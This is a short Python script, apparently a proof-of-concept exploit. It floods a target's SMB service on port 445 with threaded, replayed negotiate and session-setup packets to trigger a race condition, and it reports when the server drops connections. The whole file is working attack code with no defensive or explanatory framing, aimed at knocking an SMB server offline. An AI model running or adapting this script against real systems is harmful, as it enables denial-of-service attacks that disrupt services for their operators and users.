#!/bin/python3
import threading
import os
import time
import sys
from session import *

if len(sys.argv) < 2:
    print("Usage: exploit.py <target_ip> <threads> <negotiate.bin> <session_setup.bin>")
    exit()

target = sys.argv[1]
threads = int(sys.argv[2])
if len(sys.argv) > 3:
    negotiate_path = sys.argv[3]
else:
    negotiate_path = "negotiate.bin"
if len(sys.argv) > 4:
    session_path = sys.argv[4]
else:
    session_path = "session_setup.bin"

error_set = set()

def session_req():
    if not os.path.exists(negotiate_path) or not os.path.exists(session_path):
        sys.exit(2)
    neg_data = read_file(negotiate_path)
    sess_data = read_file(session_path)
    neg_packet = ensure_netbios_header(neg_data)
    sess_packet = ensure_netbios_header(sess_data)

    with socket.create_connection((target, 445), timeout=10) as s:
        s.settimeout(10)
        s.sendall(neg_packet)
        try:
            r = s.recv(8192)
        except socket.timeout:
            pass
        s.sendall(sess_packet)
        try:
            r2 = s.recv(8192)
        except socket.timeout:
            error_set.add("[!] Server drops connection")


def mal_conn():
    try:
        for _ in range(32):
            session_req()
    except socket.timeout as e:
        error_set.add(f"[!] Server affected due to race condition")
    except Exception as e:
            print(f"[!] Error: {e}")


pool = [threading.Thread(target=mal_conn, args=()) for x in range(threads)]
t = time.time()
print(f"Start time: {t}")
for x in pool:  x.start()
for x in pool:  x.join()
_t = time.time()
print(*error_set)
print(f"End time: {_t}")
print(f"Total Execution time: {_t - t}")
